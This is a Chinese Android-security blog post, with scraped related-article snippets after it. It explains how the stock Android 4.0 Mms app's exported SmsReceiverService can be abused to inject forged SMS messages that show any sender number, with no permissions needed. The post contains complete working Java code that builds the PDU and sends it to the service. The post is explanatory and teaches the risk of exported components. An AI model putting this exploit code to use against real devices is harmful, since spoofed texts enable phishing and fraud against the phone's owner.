导读:本文利用android4.0的一个原生漏洞来伪造短信。无须声明任何权限即可伪造发送方为任何号码的短信给用户。

android4.0发布已经是很久很久很久很久以前的事情了,这个漏洞早就报了出来,之所以现在才写这篇文章,就是觉得,该升级的基本已经都升级了,该打补丁的基本都已经打了补丁,所以现在差不多是时候了。

原生android4.0系统中,Mms.apk的manifest有这样一段

<service android:name=".transaction.SmsReceiverService"
android:exported="true" />

android:exported="true",意味着SmsReceiverService这个Service暴露给了大家,也让病毒有机可乘

在stackoverflow上面,有人早就给出了伪造短信的方案,我们在这里就直接使用人家的代码好了

http://stackoverflow.com/questions/12335642/create-pdu-for-android-that-works-with-smsmessage-createfrompdu-gsm-3gpp

其中UCS-2处理是我新加上去的

private static void createFakeSms(Context context, String sender,
String body) {
byte[] pdu = null;
byte[] scBytes = PhoneNumberUtils
.networkPortionToCalledPartyBCD("0000000000");
byte[] senderBytes = PhoneNumberUtils
.networkPortionToCalledPartyBCD(sender);
int lsmcs = scBytes.length;
// 时间处理,包括年月日时分秒以及时区和夏令时
byte[] dateBytes = new byte[7];
Calendar calendar = new GregorianCalendar();
dateBytes[0] = SmsUtil
.reverseByte((byte) (calendar.get(Calendar.YEAR)));
dateBytes[1] = SmsUtil
.reverseByte((byte) (calendar.get(Calendar.MONTH) + 1));
dateBytes[2] = SmsUtil.reverseByte((byte) (calendar
.get(Calendar.DAY_OF_MONTH)));
dateBytes[3] = SmsUtil.reverseByte((byte) (calendar
.get(Calendar.HOUR_OF_DAY)));
dateBytes[4] = SmsUtil.reverseByte((byte) (calendar
.get(Calendar.MINUTE)));
dateBytes[5] = SmsUtil.reverseByte((byte) (calendar
.get(Calendar.SECOND)));
dateBytes[6] = SmsUtil
.reverseByte((byte) ((calendar.get(Calendar.ZONE_OFFSET) + calendar
.get(Calendar.DST_OFFSET)) / (60 * 1000 * 15)));
try {
ByteArrayOutputStream bo = new ByteArrayOutputStream();
bo.write(lsmcs);// 短信服务中心长度
bo.write(scBytes);// 短信服务中心号码
bo.write(0x04);
bo.write((byte) sender.length());// 发送方号码长度
bo.write(senderBytes);// 发送方号码
bo.write(0x00);// 协议标示,00为普通GSM,点对点方式
try {
String sReflectedClassName = "com.android.internal.telephony.GsmAlphabet";
Class<?> cReflectedNFCExtras = Class
.forName(sReflectedClassName);
Method stringToGsm7BitPacked = cReflectedNFCExtras.getMethod(
"stringToGsm7BitPacked", new Class[] { String.class });
stringToGsm7BitPacked.setAccessible(true);
byte[] bodybytes = (byte[]) stringToGsm7BitPacked.invoke(null,
body); bo.write(0x00); // encoding: 0 for default 7bit
bo.write(dateBytes);
bo.write(bodybytes);
} catch (Exception e) {
Log.i(TAG, "sender:" + sender + "\nbody:" + body, e);
// 下面是UCS-2编码的处理,中文短信就需要用此种方式
bo.write(0x08); // encoding: 8 for UCS-2
bo.write(dateBytes);
bo.write(SmsUtil.encodeUCS2(body, null));// 其中encodeUCS2是从系统中复制过来的,并不是我写的
// 源码具体位置在
// frameworks/base/telephony/java/com/android/internal/telephony/gsm/SmsMessage.java
} pdu = bo.toByteArray();
} catch (IOException e) {
Log.e(TAG, "sender:" + sender + "\nbody:" + body, e);
}
// 上面的部分都是组织短信数据,下面是将数据传递给SmsReceiverService,让它来帮我们发送。虽然我们的程序没有发送短信的权限,但是人家有啊!
Intent intent = new Intent();
intent.setClassName("com.android.mms",
"com.android.mms.transaction.SmsReceiverService");
intent.setAction("android.provider.Telephony.SMS_RECEIVED");
intent.putExtra("pdus", new Object[] { pdu });
intent.putExtra("format", "3gpp");
context.startService(intent);
} public static byte reverseByte(byte b) {
return (byte) ((b & 0xF0) >> 4 | (b & 0x0F) << 4);
}

我们看看在SmsMessage.java中的getSubmitPdu处理user data的方式

// User Data (and length)
byte[] userData;
try {
if (encoding == ENCODING_7BIT) {
userData = GsmAlphabet.stringToGsm7BitPackedWithHeader(message, header,
languageTable, languageShiftTable);
} else { //assume UCS-2
try {
userData = encodeUCS2(message, header);
} catch(UnsupportedEncodingException uex) {
Log.e(LOG_TAG,
"Implausible UnsupportedEncodingException ",
uex);
return null;
}
}
} catch (EncodeException ex) {
// Encoding to the 7-bit alphabet failed. Let's see if we can
// send it as a UCS-2 encoded message
try {
userData = encodeUCS2(message, header);
encoding = ENCODING_16BIT;
} catch(UnsupportedEncodingException uex) {
Log.e(LOG_TAG,
"Implausible UnsupportedEncodingException ",
uex);
return null;
}
}

先看是不是7-bit编码方式,如果不是,那么就假设是UCS-2编码,如果抛出EncodeException,那么也尝试UCS-2编码

下面附上encodeUCS2代码

/**
* Packs header and UCS-2 encoded message. Includes TP-UDL & TP-UDHL if
* necessary
*
* @return
* @throws UnsupportedEncodingException
*/
public static byte[] encodeUCS2(String message, byte[] header)
throws UnsupportedEncodingException {
byte[] userData, textPart;
textPart = message.getBytes("utf-16be"); if (header != null) {
// Need 1 byte for UDHL
userData = new byte[header.length + textPart.length + 1]; userData[0] = (byte) header.length;
System.arraycopy(header, 0, userData, 1, header.length);
System.arraycopy(textPart, 0, userData, header.length + 1,
textPart.length);
} else {
userData = textPart;
}
byte[] ret = new byte[userData.length + 1];
ret[0] = (byte) (userData.length & 0xff);
System.arraycopy(userData, 0, ret, 1, userData.length);
return ret;
}

现在,我们就可以在原生android4.0上面干坏事了,如果你在真机上面发现上面的代码不起作用,那么很有可能人家已经修复了漏洞,所以你也别总想着干坏事。

不过……HTC G14上面的漏洞还是存在的,起码前两个月是这个样子,没关系,我已经换了手机……

 

另外值得一提是android:exported这个属性

我们可以在android官方文档中看到如下说明

http://developer.android.com/about/versions/jelly-bean.html#42-platform-tech

ContentProvider default configuration — Applications which target API level 17 will have “export” set to “false” by default for each ContentProviderreducing default attack surface for applications.

这意味着什么呢?

之前,你可以不用显式设置export这个属性,别人也可以调用你的ContentProvider,但是你的应用放到了Android4.2(API17)上面,那么别人再调用你的ContentProvider的时候就会抛出异常,进而导致应用崩溃

这是时候,我们就必须在manifest文件中显式给export赋值为true

之前就遇到了这样的问题,应用放在4.1上面没有问题,放到4.2上就crash,调查了半天,才发现原因在这里

看来关键的属性还是显式声明的好,因为没准哪一天,它的默认值就变了

下面是一些相关内容

GSM 03.38 from Wikipedia

请大家不要用root的手机随意下载软件,更不要以任何借口制造任何病毒!

android手机root后的安全问题 (一)

android手机root后的安全问题 (二)

android手机root后的安全问题 (三)

android手机root后的安全问题 (四)

android安全问题(一) 静音拍照与被拍

android安全问题(二) 程序锁

android安全问题(三) 钓鱼程序

转贴请保留以下链接

本人blog地址

http://su1216.iteye.com/

http://blog.csdn.net/su1216/

android安全问题(八)伪造短信(利用原生android4.0漏洞)的更多相关文章

  1. android: 接收和发送短信

    8.2    接收和发送短信 收发短信应该是每个手机最基本的功能之一了,即使是许多年前的老手机也都会具备这 项功能,而 Android 作为出色的智能手机操作系统,自然也少不了在这方面的支持.每个 A ...

  2. android 4.4删除短信

    android 4.4之后非默认的短信应用已经没有办法删除短信了.像以前那样用如下方法是不会没法删除短信的(即使在xml中配置了短信的读写权限),同时也不会有报错或其他提示. public void ...

  3. 向android模拟器打电话发短信的简单方法

    在开发android应用程序时,有时候需要测试一下向android手机拨打电话发送短信时该应用程序的反应.譬如编写一个广播接收器,来提示用户有短信收到或者处理短信,就需要向该手机发送短信来进行测试.这 ...

  4. Android监听系统短信数据库变化-提取短信内容

    由于监听系统短信广播受到权限的限制,所以很多手机可能使用这种方式没法监听广播,从而没办法获取到系统短信,所以又重新开辟一条路. Android监听系统短信数据库内容变化使用场景: 1.监听短信数据库的 ...

  5. Android学习笔记之短信验证码的获取和读取

    PS:最近很多事情都拖拖拉拉的..都什么办事效率啊!!! 还得吐槽一下移动运营商,验证码超过五次的时候,直接把我的手机号封闭.真是受够了. 学习笔记: 1.Android之如何获取短信验证码. 2.如 ...

  6. android打电话、发短信实现

    打电话: Intent intent = newIntent(Intent.ACTION_CALL,Uri.parse("tel:"+"156666666666" ...

  7. Android下调用收发短信邮件等

    Android下调用收发短信邮件等 1,调web浏览器Uri myBlogUri = Uri.parse("http://xxxxx.com");returnIt = new In ...

  8. Android4.4 往短信收件箱中插入自定义短信(伪造短信)

    这段时间稍微有点空闲,把前一段学习Android做过的一些小项目整理整理.虽然没有什么工程量很大的项目,但是对于一个新手,解决这些问题还是花了一段时间.感觉还是非常有记录的意义呢~~~么么哒*—* 今 ...

  9. Android安全问题 抢先拦截短信

    同上篇文章一样,这里只陈述结果,代码分析稍后给出 导读:本文叙述如何先于某些伪杀毒软件.病毒.常规软件获取到短信 众所周知,android系统在收到短信息的时候会发送广播,但是此广播是有序广播,也就是 ...

随机推荐

  1. 当 ITOA 遇上 OneAlert,企业可以至少每年节省 3600 小时!

    每个工作日,一家大型企业都可能存在一两件优先级为 1 级的事件,五六件优先级为 2 级的事件和百来件优先级为 3 级的事件.试想一下,如果公司所有支持人员都要收到每个事件的通知--不想了,我好方!还能 ...

  2. GDB多进程调试(转)

    http://www.cnblogs.com/ggjucheng/archive/2011/12/15/2288710.html GDB 是 linux 系统上常用的 c/c++ 调试工具,功能十分强 ...

  3. HDU4523+简单

    题意很简单. 一次最多多切出一条边! 其余的就没什么好说的了 import java.util.*; import java.math.*; public class Main{ public sta ...

  4. 商务部公开微软持有的Android技术专利

    微软与众多Android厂商签署了专利授权协议,但从来没有公开它持有多少项Android技术专利.出人意料的是,为了收购诺基亚手机业务,微软今年4月递交到中国商务部的文件中完整公开了它的Android ...

  5. linux进程间通信方式

    (1)管道(Pipe):管道可用于具有亲缘关系进程间的通信,允许一个进程和另一个与它有共同祖先的进程之间进行通信. (2)命名管道(named pipe):命名管道克服了管道没有名字的限制,因此,除具 ...

  6. ERP 实施和应用不成功共同点

    ERP 实施和应用不成功共同点     ERP 重新得到人们理性的关注并不意味着实施和应用ERP变得轻而易举了.如何才能实施好ERP?这仍然是关键的问题. 大部份企业应用ERP不成功的原因是什么,许多 ...

  7. Android开发之BroadcastReceiver的使用

    1.静态注册. 在manifest中注册. <receiver android:name="com.exce.learnbroadcastreceiver.MyReceiver&quo ...

  8. hdu4597Play Game(记忆化)

    链接 通化邀请赛的题 貌似不怎么难 记忆化DP 状态方程类似于2维的 只是变成了4维  每次有四种方向去搜 取最棒的 判断好边界条件 #include <iostream> #includ ...

  9. 关于数组和List之间相互转换的方法

    1.List转换成为数组:返回数组的运行时类型.如果列表能放入指定的数组.否则,将根据指定数组.如果指定的数组的元素比列表的多),那么会将存储列表元素的数组. 返回:包含列表元素的list.add(& ...

  10. BZOJ_1616_[Usaco2008_Mar]_Cow_Travelling_游荡的奶牛_(DP)

    描述 http://www.lydsy.com/JudgeOnline/problem.php?id=1616 给出一张图,有些点不能走,给出起始点和结束点,以及时间,求在该时间到达结束点的方案数. ...